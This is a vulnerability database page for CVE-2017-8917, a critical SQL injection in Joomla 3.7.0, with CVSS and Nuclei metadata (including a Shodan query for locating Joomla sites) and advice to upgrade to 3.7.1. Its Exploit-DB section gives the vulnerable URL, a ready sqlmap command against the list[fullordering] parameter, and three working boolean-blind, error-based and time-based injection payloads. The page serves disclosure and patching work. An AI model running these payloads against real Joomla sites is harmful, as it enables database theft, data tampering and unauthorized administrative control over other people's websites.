Joomla 3.7.0 - Sql Injection

vendor:

Joomla

by:

Mateus Lino

9,8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Joomla

Affected Version From: 3.7.0

Affected Version To: 3.7.0

Patch Exists: YES

Related CWE: CVE-2017-8917

CPE: a:joomla:joomla:3.7.0

Metasploit: https://www.rapid7.com/db/vulnerabilities/joomla-20170501-core-sql-injection/, https://www.rapid7.com/db/vulnerabilities/freebsd-cve-2017-8917/

Other Scripts: N/A

Tags: cve,cve2017,joomla,sqli

CVSS Metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Nuclei References: https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html, https://nvd.nist.gov/vuln/detail/CVE-2017-8917, https://web.archive.org/web/20211207050608/http://www.securitytracker.com/id/1038522, http://www.securitytracker.com/id/1038522

Nuclei Metadata: {'max-request': 1, 'shodan-query': 'http.component:"Joomla"', 'verified': True, 'vendor': 'joomla', 'product': 'joomla\\!'}

Platforms Tested: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux

2017

Joomla 3.7.0 – Sql Injection

Joomla! before 3.7.1 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

Mitigation:

The vendor has released an update to address this vulnerability. Users are advised to upgrade to Joomla 3.7.1 or later.

Source

Exploit-DB raw data:

# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap: 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)